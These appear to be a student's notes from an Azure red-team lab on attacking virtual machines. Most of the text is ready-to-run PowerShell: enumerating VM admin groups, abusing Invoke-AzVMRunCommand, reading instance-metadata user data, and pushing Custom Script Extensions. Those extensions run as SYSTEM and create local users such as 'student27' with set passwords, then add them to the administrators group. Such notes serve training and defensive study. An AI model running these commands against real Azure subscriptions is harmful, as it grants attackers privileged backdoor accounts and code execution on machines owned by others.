Azure Virtual Machines

Enumerating of Administrative Users

Get-AzRoleAssignment #see executor
Get-AzVM
Get-AzVM -Name bkpadconnect
Get-AzVM -Name bkpadconnect | select -ExpandProperty NetworkProfile
Get-AzNetworkInterface -Name bkpadconnect368
Get-AzPublicIpAddress -Name bkpadconnectIP
Get-AzResource
 
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
Get-AzADGroup -DisplayName 'VM Admins'
Get-AzADGroupMember -GroupDisplayName 'VM Admins' | select DisplayName

abuse command execution on VM

Invoke-AzVMRunCommand -VMName bkpadconnect -ResourceGroupName Engineering -CommandId 'RunPowerShellScript' -ScriptPath 'C:\AzAD\Tools\adduser.ps1' -Verbose

abuse user data attached to VM

  • user data
    • Azure Instance Metadata Service
    • not encrypted, any process on the VM can read this
    • should be base64 and cannot be more than 64kb
    • can be written with permission Microsoft.Computer/virtualMachines/write
      • default number of machines that a user can join to domain: 10

Get User Data:

$userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"
 
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

adding custom script extension to VMs

  • OMIGOD!
  • custom script extension is used to run scripts on Azure VMs
    • executed with SYSTEM privileges
  • to update something
    • Microsoft.Compute/virtualMachines/extensions/write
  • note: on virtual machines, get-azroleassignment might not sufficient do direct HTTP calls
PS> Get-AzVMExtension
PS> Set-AzVMExtension -VMName "infradminsrv" -ResourceGroupName "Research" -Location "Germany West Central" -ExtensionName "ExecCmd" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingsSTring '{"commandToExecute":"powershell net users student1 Stud1Password@123 /add /Y; net localgroup administrators student1 /add"}'
PS> Enter-PSSession -Session $infradminsrv # fails with cannot enter another session
PS> Invoke-command -Session $infradminsrv -ScriptBlock {whoami;hostname}
# dsregcmd ./status
Get-AzResource # see VM
Get-AzRoleAssignment # empty
# but I see 'execcmd', isn't that enough?
 
# we see extensions/read and extensions/write
 
# check extensions
Get-AzVMExtension -ResourceGroupName 'Research' -VMName 'infradminsrv'
 
# use it to create a new user
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users student64 Stud64Password@123 /add /Y; net localgroup administrators student64 /add"}'

We can also use REST calls for enumeration:

$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
	Method = 'GET'
	Uri = $URI
	Headers = @{
		'Authorization' = "Bearer $Token"
	}
}
(Invoke-RestMethod @RequestParams).value

{Microsoft.Compute/virtualMachines/extensions/write, Microsoft.Compute/virtualMachines/extensions/read}

Get-AzVMExtension -ResourceGroupName “Research” -VMName “infradminsrv”

Add a new Extension!

Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users student27 Stud27Password@123 /add /Y; net localgroup administrators student27 /add"}'